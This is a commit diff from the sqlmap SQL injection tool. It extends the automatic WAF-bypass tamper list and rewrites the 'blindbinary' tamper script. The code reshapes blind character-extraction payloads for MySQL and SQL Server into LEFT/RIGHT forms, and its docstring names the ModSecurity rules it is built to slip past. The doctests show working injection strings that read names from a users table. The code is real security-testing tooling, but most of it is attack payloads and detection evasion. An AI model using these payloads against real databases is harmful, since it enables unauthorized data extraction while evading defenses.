Skip to content

Commit dc42edc

Browse files
committed
Improving the auto WAF bypass feature
1 parent 0ba9df2 commit dc42edc

2 files changed

Lines changed: 55 additions & 7 deletions

File tree

lib/core/settings.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.8.41"
23+
VERSION = "1.10.8.42"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -74,6 +74,9 @@
7474
# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
7575
# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
7676
WAF_BYPASS_TAMPERS = (
77+
"castprefix",
78+
"mid2leftright",
79+
"odbcbrace",
7780
"equaltolike",
7881
"between",
7982
"greatest",

tamper/blindbinary.py

Lines changed: 51 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,30 @@ def _balancedEnd(payload, start):
2828
idx += 1
2929
return -1
3030

31+
def _unwrapIsnull(query):
32+
"""Rewrites sqlmap's MySQL NULL wrapper 'IFNULL(<x>,<y>)' into '(IF(<x> IS NULL,<y>,<x>))'."""
33+
retVal = query
34+
35+
while True:
36+
match = re.search(r"(?i)IFNULL\(", retVal)
37+
38+
if not match:
39+
break
40+
41+
end = _balancedEnd(retVal, match.end() - 1)
42+
if end < 0:
43+
break
44+
45+
inner = retVal[match.end():end]
46+
separator = inner.rfind(',')
47+
if separator < 1:
48+
break
49+
50+
field, default = inner[:separator], inner[separator + 1:]
51+
retVal = "%s(IF(%s IS NULL,%s,%s))%s" % (retVal[:match.start()], field, default, field, retVal[end + 1:])
52+
53+
return retVal
54+
3155
def _reshape(payload, opener, tail, build):
3256
"""Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match)."""
3357
retVal = payload
@@ -61,7 +85,7 @@ def tamper(payload, **kwargs):
6185
sheds the function names anomaly-scoring WAFs key on:
6286
6387
* MySQL: ORD(MID((<q>),<p>,1))><n>
64-
-> RIGHT(LEFT((<q>),<p>),(<p><=CHAR_LENGTH((<q>))))>BINARY 0x<nn>
88+
-> RIGHT(LEFT((<q>),<p>),(<p><=LENGTH(CONVERT((<q>) USING ascii))))>BINARY 0x<nn>
6589
* SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...)))
6690
-> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn>
6791
@@ -73,6 +97,10 @@ def tamper(payload, **kwargs):
7397
ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190).
7498
LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while
7599
the single-character, byte-ordered semantics of the bisection are preserved.
100+
* On MySQL the character count runs over an ASCII copy of the value (one character, one byte),
101+
because CHAR_LENGTH() is blacklisted by the very same rule, and the NULL wrapper IFNULL() is
102+
rewritten to IF(). Counting bytes of the original instead would run past the end of a
103+
multi-byte value, and a bare 'SELECT IF(' would be scored by rule 942170.
76104
* MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive)
77105
comparison, so extraction stays exact under a case-insensitive default collation. Both use a
78106
native hex literal (0x<nn>), so nothing needs string-escaping.
@@ -82,13 +110,15 @@ def tamper(payload, **kwargs):
82110
forever and never terminate.
83111
84112
>>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71')
85-
'1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47'
113+
'1 AND RIGHT(LEFT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1),5),(5<=LENGTH(CONVERT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1) USING ascii))))>BINARY 0x47'
86114
>>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0')
87-
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00'
115+
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))>BINARY 0x00'
116+
>>> tamper('1 AND ORD(MID((SELECT 1),1,1)) IN (65,66,0)')
117+
"1 AND BINARY RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii)))) IN (0x41,0x42,'')"
88118
>>> tamper('1 AND 5141=5141')
89119
'1 AND 5141=5141'
90120
>>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65')
91-
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))<BINARY 0x41'
121+
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))<BINARY 0x41'
92122
>>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64')
93123
'1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40'
94124
"""
@@ -98,7 +128,16 @@ def tamper(payload, **kwargs):
98128

99129
def _mysql(query, rest):
100130
position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
101-
return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value)
131+
query = _unwrapIsnull(query)
132+
return "RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii))))%sBINARY 0x%02x" % (query, position, position, query, operator, value)
133+
134+
def _mysqlSet(query, rest):
135+
# set-membership form of the same read ('... IN (<ordinals>)', used by the Huffman retrieval).
136+
# ORD('') is 0, so a past-the-end position matches the ordinal 0, which is the empty string here
137+
position, ordinals = rest.group(1), [int(_) for _ in rest.group(2).split(',')]
138+
query = _unwrapIsnull(query)
139+
members = ",".join("''" if _ == 0 else "0x%02x" % _ for _ in ordinals)
140+
return "BINARY RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii)))) IN (%s)" % (query, position, position, query, members)
102141

103142
def _mssql(query, rest):
104143
position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
@@ -109,6 +148,12 @@ def _mssql(query, rest):
109148
return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value)
110149

111150
comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)"
112-
retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql)
151+
set_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s+IN\s*\(([\d,\s]+)\)"
152+
153+
if re.search(r"(?i)IFNULL\(", payload): # also on payloads that are not single-character reads
154+
payload = _unwrapIsnull(payload)
155+
156+
retVal = _reshape(payload, r"(?i)ORD\(MID\(", set_tail, _mysqlSet)
157+
retVal = _reshape(retVal, r"(?i)ORD\(MID\(", comma_tail, _mysql)
113158
retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql)
114159
return retVal

0 commit comments

Comments
 (0)